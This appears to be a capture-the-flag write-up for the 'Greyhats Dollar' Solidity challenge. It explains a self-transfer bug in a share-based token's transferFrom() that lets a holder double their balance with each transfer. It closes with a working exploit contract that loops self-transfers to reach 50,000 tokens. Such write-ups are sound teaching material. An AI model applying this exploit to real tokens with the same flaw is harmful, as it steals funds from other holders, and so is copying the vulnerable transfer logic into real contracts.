β 1. Greyhats Dollar
self transfer double spend
Codebase walkthrough
Setup Contract
The Setup.sol contract initializes the challenge environment:
Deploys a GREY token (simple ERC20 with minting capabilities)
Deploys the GHD contract with GREY as the underlying asset and a 3% annual deflation rate
Provides a claim() function to give players 1000 GREY tokens
The goal is to accumulate 50,000 GHD tokens to solve the challenge
GHD Token Mechanics
The GHD contract implements a share-based token system with deflation:
Users can mint GHD by depositing GREY tokens
The token uses an internal shares system where actual token balances are calculated based on shares multiplied by a conversion rate
The conversion rate decreases over time to simulate deflation
All operations (mint, burn, transfer) use an update modifier that recalculates the conversion rate
Bug description
The vulnerability lies in the transferFrom()
function's validation logic. Let's examine the problematic code:
function transfer(address to, uint256 amount) external update returns (bool) {
return transferFrom(msg.sender, to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public update returns (bool) {
if (from != msg.sender) allowance[from][msg.sender] -= amount;
uint256 _shares = _GHDToShares(amount, conversionRate, false);
uint256 fromShares = shares[from] - _shares;
uint256 toShares = shares[to] + _shares;
require(
_sharesToGHD(fromShares, conversionRate, false) < balanceOf(from),
"amount too small"
);
require(
_sharesToGHD(toShares, conversionRate, false) > balanceOf(to),
"amount too small"
);
shares[from] = fromShares;
shares[to] = toShares;
emit Transfer(from, to, amount);
return true;
}
This pattern caught my eye:
shares[from] = fromShares;
shares[to] = toShares;
Upon seeing this, I would immediately check the classic βtransfer token to yourselfβ bug:
Say from == to == you
uint256 fromShares = shares[from] - _shares
βuint256 fromShares = shares[you] - _shares
uint256 toShares = shares[to] + _shares
βuint256 toShares = shares[you] + _shares
shares[from] = fromShares
βshares[you] = fromShares
shares[to] = toShares
βshares[you] = toShares
In the last step, you see that shares[you]
is being overwritten by a larger number, equivalently it means you get money for free.
Next question is how much money you can get for free by calling transfer()
once. It is easy: to make sure that uint256 fromShares = shares[you] - _shares
does not revert, you must have shares[you] - _shares >= 0
β shares[you] >= _shares
β _shares <= shares[you]
. Therefore the best choice is to transfer balanceOf(player)
in each call to transfer()
, and repeat many times. Since balanceOf(player)
doubles for each iteration, this attack will finish quickly.
Exploitation Strategy
The attack is straightforward:
Initial Setup: Claim 1000 GREY tokens and mint 1000 GHD tokens
Double Balance: Transfer your entire GHD balance to yourself
Repeat: Your balance approximately doubles with each iteration
Reach Target: Continue until you have β₯50,000 GHD
The exponential growth means this happens very quickly:
Start: 1,000 GHD
After 1 transfer: ~2,000 GHD
After 2 transfers: ~4,000 GHD
After 3 transfers: ~8,000 GHD
After 4 transfers: ~16,000 GHD
After 5 transfers: ~32,000 GHD
After 6 transfers: ~64,000 GHD β
PoC
Claim 1000e18 grey token from Setup.sol, call transfer()
in a for loop or while loop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
import { Setup } from "src/greyhats-dollar/Setup.sol";
contract Exploit {
Setup setup;
constructor(Setup _setup) {
setup = _setup;
}
function solve() external {
// Claim 1000 GREY
setup.claim();
// Mint 1000 GHD using 1000 GREY
setup.grey().approve(address(setup.ghd()), 1000e18);
setup.ghd().mint(1000e18);
// Transfer GHD to ourselves until we have 50,000 GHD
uint256 balance = setup.ghd().balanceOf(address(this));
while (balance < 50_000e18) {
setup.ghd().transfer(address(this), balance);
balance = setup.ghd().balanceOf(address(this));
}
// Transfer all GHD to msg.sender
setup.ghd().transfer(msg.sender, balance);
}
}
Last updated